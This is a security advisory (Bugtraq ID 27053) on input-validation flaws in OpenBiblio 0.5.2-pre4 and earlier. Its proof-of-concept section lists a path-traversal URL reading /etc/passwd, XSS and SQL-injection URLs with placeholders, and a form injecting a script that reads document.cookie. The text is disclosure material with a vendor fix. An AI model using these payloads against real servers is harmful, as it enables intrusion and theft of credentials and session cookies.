OpenBiblio Multiple Input Validation Vulnerabilities
BID:27053
Info
OpenBiblio Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 27053 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-6606 CVE-2007-6607 CVE-2006-5149 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 28 2007 12:00AM |
| Updated: | Jul 05 2016 10:00PM |
| Credit: | Juan Galiana is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
OpenBiblio OpenBiblio 0.5.1 OpenBiblio OpenBiblio 0.3 OpenBiblio OpenBiblio 0.2.1 OpenBiblio OpenBiblio 0.2 OpenBiblio OpenBiblio 0.5.2-pre4 OpenBiblio OpenBiblio 0.5.2 |
| Not Vulnerable: |
OpenBiblio OpenBiblio 0.6.0 |
Discussion
OpenBiblio Multiple Input Validation Vulnerabilities
OpenBiblio is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include SQL-injection, cross-site scripting, HTML-injection, and local file-include vulnerabilities.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, execute arbitrary local scripts, retrieve potentially sensitive information, or exploit latent vulnerabilities in the underlying database.
These issues affect Openbiblio 0.5.2-pre4 and prior versions.
OpenBiblio is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include SQL-injection, cross-site scripting, HTML-injection, and local file-include vulnerabilities.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, execute arbitrary local scripts, retrieve potentially sensitive information, or exploit latent vulnerabilities in the underlying database.
These issues affect Openbiblio 0.5.2-pre4 and prior versions.
Exploit / POC
OpenBiblio Multiple Input Validation Vulnerabilities
An attacker can exploit these issues via a browser. To exploit some of these issues, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following proofs of concept are available:
Local file-include vulnerabilities:
http://www.example.com/openbiblio/shared/help.php?page=../../../../../../etc/passwd%00
http://www.example.com/openbiblio/shared/header.php?tab=../../../etc/passwd%00
Cross-site scripting vulnerabilities:
http://www.example.com/openbiblio/admin/staff_del_confirm.php?UID=1&LAST=[XSS]&FIRST=[XSS]
http://www.example.com/openbiblio/admin/theme_del_confirm.php?themeid=6&name=[XSS]
HTML-injection vulnerability:
<form action="http://www.example.com/openbiblio/admin/theme_preview.php" method="post">
<input type="text" name="themeName" size="40" value="<script>alert(
document.cookie);</script>"><br><br>
<input type="submit" value="doit">
</form>
SQL-injection vulnerability:
http://www.example.com/openbiblio/reports/report_criteria.php?reset=Y&rptid=balanceDueList&title=Balance+Due+Member+List&sql=%0A++++[SQL]%0A++
An attacker can exploit these issues via a browser. To exploit some of these issues, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following proofs of concept are available:
Local file-include vulnerabilities:
http://www.example.com/openbiblio/shared/help.php?page=../../../../../../etc/passwd%00
http://www.example.com/openbiblio/shared/header.php?tab=../../../etc/passwd%00
Cross-site scripting vulnerabilities:
http://www.example.com/openbiblio/admin/staff_del_confirm.php?UID=1&LAST=[XSS]&FIRST=[XSS]
http://www.example.com/openbiblio/admin/theme_del_confirm.php?themeid=6&name=[XSS]
HTML-injection vulnerability:
<form action="http://www.example.com/openbiblio/admin/theme_preview.php" method="post">
<input type="text" name="themeName" size="40" value="<script>alert(
document.cookie);</script>"><br><br>
<input type="submit" value="doit">
</form>
SQL-injection vulnerability:
http://www.example.com/openbiblio/reports/report_criteria.php?reset=Y&rptid=balanceDueList&title=Balance+Due+Member+List&sql=%0A++++[SQL]%0A++
Solution / Fix
OpenBiblio Multiple Input Validation Vulnerabilities
Solution:
The vendor has released an update that addresses these issues. Please see the references for more information.
OpenBiblio OpenBiblio 0.5.2-pre4
Solution:
The vendor has released an update that addresses these issues. Please see the references for more information.
OpenBiblio OpenBiblio 0.5.2-pre4
-
OpenBiblio OpenBiblio 0.6.0
http://sourceforge.net/project/showfiles.php?group_id=50071&package_id =43535&release_id=488061
References
OpenBiblio Multiple Input Validation Vulnerabilities
References:
References:
- OpenBiblio Homepage (OpenBiblio)
- OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities (Juan Galiana)